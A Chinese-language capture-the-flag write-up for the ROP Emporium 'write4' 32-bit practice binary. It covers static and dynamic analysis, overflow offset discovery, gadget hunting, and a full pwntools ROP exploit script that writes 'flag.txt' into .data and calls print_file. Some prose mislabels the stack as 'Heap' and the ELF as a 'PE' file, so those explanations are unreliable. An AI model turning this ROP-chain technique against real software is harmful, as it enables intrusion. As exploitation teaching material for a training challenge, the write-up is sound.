write432
静态分析
查看二进制文件的基本信息
xxxx@debian9:~/pwn/ropemporium$ rabin2 -I write432
arch x86
baddr 0x8048000
binsz 6050
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib/ld-linux.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine Intel 80386
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath .
sanitiz false
static false
stripped false
subsys linux
va true
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485b4 1 20 sym._fini
0x08048450 4 50 -> 41 sym.deregister_tm_clones
0x08048490 4 58 -> 54 sym.register_tm_clones
0x080484d0 3 34 -> 31 sym.__do_global_dtors_aux
0x08048500 1 6 entry.init0
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485b0 1 2 sym.__libc_csu_fini
0x08048550 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme
[0x080483f0]>
执行一下程序
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> AAA
Thank you!
xxxx@debian9:~/pwn/ropemporium$
动态调试
使用gdb调试
gdb -q ./write432
查看程序开启了哪些保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
NX: ENABLED说明Heap里没有执行权限,无法在Heap上构造shellcode执行。
加载程序到main的位置停下
gdb-peda$ start
在read函数处做断点
gdb-peda$ break *read
随便创建30个长度的字符
gdb-peda$ pattern_create 30
'AAA%AAsAABAA$AAnAACAA-AA(AADAA'
继续执行
gdb-peda$ continue
在read函数执行完的地方停下
gdb-peda$ finish
输入AAA%AAsAABAA$AAnAACAA-AA(AADAA
一路next 到ret之前:
gdb-peda$ next
可以看到路上并没有对输入做任何校验。
在 leave;ret;指令之前,可以看到Heap的大小是40
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xf7fd2000 --> 0x1f0c
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0xf7fb0000 --> 0x1b2db0
EBP: 0xffffd588 --> 0xffffd598 --> 0x0
ESP: 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
EIP: 0xf7fd074a (<pwnme+173>: mov ebx,DWORD PTR [ebp-0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7fd0741 <pwnme+164>: call 0xf7fd0540 <puts@plt>
0xf7fd0746 <pwnme+169>: add esp,0x10
0xf7fd0749 <pwnme+172>: nop
=> 0xf7fd074a <pwnme+173>: mov ebx,DWORD PTR [ebp-0x4]
0xf7fd074d <pwnme+176>: leave
0xf7fd074e <pwnme+177>: ret
0xf7fd074f <print_file>: push ebp
0xf7fd0750 <print_file+1>: mov ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
0004| 0xffffd564 ("AAsAABAA$AAnAACAA-AA(AADAA\n")
0008| 0xffffd568 ("ABAA$AAnAACAA-AA(AADAA\n")
0012| 0xffffd56c ("$AAnAACAA-AA(AADAA\n")
0016| 0xffffd570 ("AACAA-AA(AADAA\n")
0020| 0xffffd574 ("A-AA(AADAA\n")
0024| 0xffffd578 ("(AADAA\n")
0028| 0xffffd57c --> 0xa4141 ('AA\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7fd074a in pwnme () from ./libwrite432.so
gdb-peda$ p/d $ebp-$esp
$1 = 40
因此造出大于40个长度的字符即可溢出,由于32位程序要4字节对齐,那就创44个字符。
gdb-peda$ pattern_create 44
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A'
溢出:
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A
Thank you!
Segmentation fault
xxxx@debian9:~/pwn/ropemporium$
利用
确定利用方法
题目的意思上给print_file函数传一个参数(flag.txt)
xxxx@debian9:~/pwn/ropemporium$ radare2 write432
-- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x080483f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483f0]> afl
0x080483f0 1 50 entry0
0x08048423 1 4 fcn.08048423
0x080483c0 1 6 sym.imp.__libc_start_main
0x0804837c 3 35 sym._init
0x08048440 1 4 sym.__x86.get_pc_thunk.bx
0x080483e0 1 6 sym..plt.got
0x080485b4 1 20 sym._fini
0x08048450 4 50 -> 41 sym.deregister_tm_clones
0x08048490 4 58 -> 54 sym.register_tm_clones
0x080484d0 3 34 -> 31 sym.__do_global_dtors_aux
0x08048500 1 6 entry.init0
0x0804852a 1 25 sym.usefulFunction
0x080483d0 1 6 sym.imp.print_file
0x080485b0 1 2 sym.__libc_csu_fini
0x08048550 4 93 sym.__libc_csu_init
0x08048430 1 2 sym._dl_relocate_static_pie
0x08048506 1 36 main
0x080483b0 1 6 sym.imp.pwnme
[0x080483f0]>
整个PE文件都没有flag字符
[0x080483f0]> axt @@ str.*
[0x080483f0]> izz
需要构造然后放到内存中的data区域内。
找写内存的gadget
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x08048543 : mov dword ptr [edi], ebp ; ret
用于把寄存器的值写道内存里 后面只要关注怎么让edi指向.data区域就行了
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x080485aa : pop edi ; pop ebp ; ret
这个指令可以修改edi值地址,使其指向任何可写的内存区域,用于构造“flag.txt”
查找哪个区域可以写:
$ readelf -a ./write432
...
[19] .init_array INIT_ARRAY 08049efc 000efc 000004 04 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f00 000f00 000004 04 WA 0 0 4
[21] .dynamic DYNAMIC 08049f04 000f04 0000f8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
data区域可写,而且里面是空的:
$ readelf -x .data ./write432
Hex dump of section '.data':
0x0804a018 00000000 00000000 ........
压入成功后会在.data区域写入 flag.txt 字符
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0x804a01c (".txt")
EBP: 0x7478742e ('.txt')
ESP: 0xffffd5ac --> 0x80483d0 (<print_file@plt>: jmp DWORD PTR ds:0x804a014)
EIP: 0x8048545 (<usefulGadgets+2>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048541 <usefulFunction+23>: leave
0x8048542 <usefulFunction+24>: ret
0x8048543 <usefulGadgets>: mov DWORD PTR [edi],ebp
=> 0x8048545 <usefulGadgets+2>: ret
0x8048546 <usefulGadgets+3>: xchg ax,ax
0x8048548 <usefulGadgets+5>: xchg ax,ax
0x804854a <usefulGadgets+7>: xchg ax,ax
0x804854c <usefulGadgets+9>: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd5ac --> 0x80483d0 (<print_file@plt>: jmp DWORD PTR ds:0x804a014)
0004| 0xffffd5b0 --> 0x804a018 ("flag.txt")
0008| 0xffffd5b4 --> 0xffffd644 --> 0xffffd77d ("/home/xxxx/pwn/ropemporium/write432")
0012| 0xffffd5b8 --> 0xffffd64c --> 0xffffd7a1 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xffffd5bc --> 0x0
0020| 0xffffd5c0 --> 0x0
0024| 0xffffd5c4 --> 0x0
0028| 0xffffd5c8 --> 0xf7fb0000 --> 0x1b2db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048545 in usefulGadgets ()
gdb-peda$ x/10s 0x0804a018
0x804a018: "flag.txt"
0x804a021: ""
0x804a022: ""
0x804a023: ""
0x804a024: ""
0x804a025: ""
0x804a026: ""
0x804a027: ""
0x804a028: ""
0x804a029: ""
gdb-peda$ next
由于print_file中是从ebp+0x8 传的参数给fopen, 因此flag.txt之前还要加4个字符
0xf7fd0772 <print_file+35>: push DWORD PTR [ebp+0x8]
=> 0xf7fd0775 <print_file+38>: call 0xf7fd0570 <fopen@plt>
python3 利用脚本
from pwn import *
def convertASCII_to_Hex(value):
res = ""
for i in value:
res += hex(ord(i))[2:]
return res
def changeEndian(value):
length = len(value)
res = "0x"
for i in range(length-1, 0, -2):
res += value[i-1]+ value[i]
return res
def generateString(value):
return int(changeEndian(convertASCII_to_Hex(value)), 16)
#Prepare the payload
junk = b"A"*44
pop_edi_ebp = p32(0x080485aa)
data_addr_1 = p32(0x0804a018)
string1 = p32(generateString("flag"))
move_edi_epb = p32(0x08048543)
pop_edi_ebp = p32(0x080485aa)
data_addr_2 = p32(0x0804a018 + 4)
string2 = p32(generateString(".txt"))
print_file = p32(0x080483d0)
payload = junk
payload += pop_edi_ebp
payload += data_addr_1
payload += string1
payload += move_edi_epb
payload += pop_edi_ebp
payload += data_addr_2
payload += string2
payload += move_edi_epb
payload += print_file
payload += b"BBBB"
payload += data_addr_1
#sys.stdout.buffer.write(payload)
# Send the payload
elf = ELF('write432') #context.binary
p = process(elf.path)
p.sendline(payload) #send the payload to the process
p.interactive()
参考: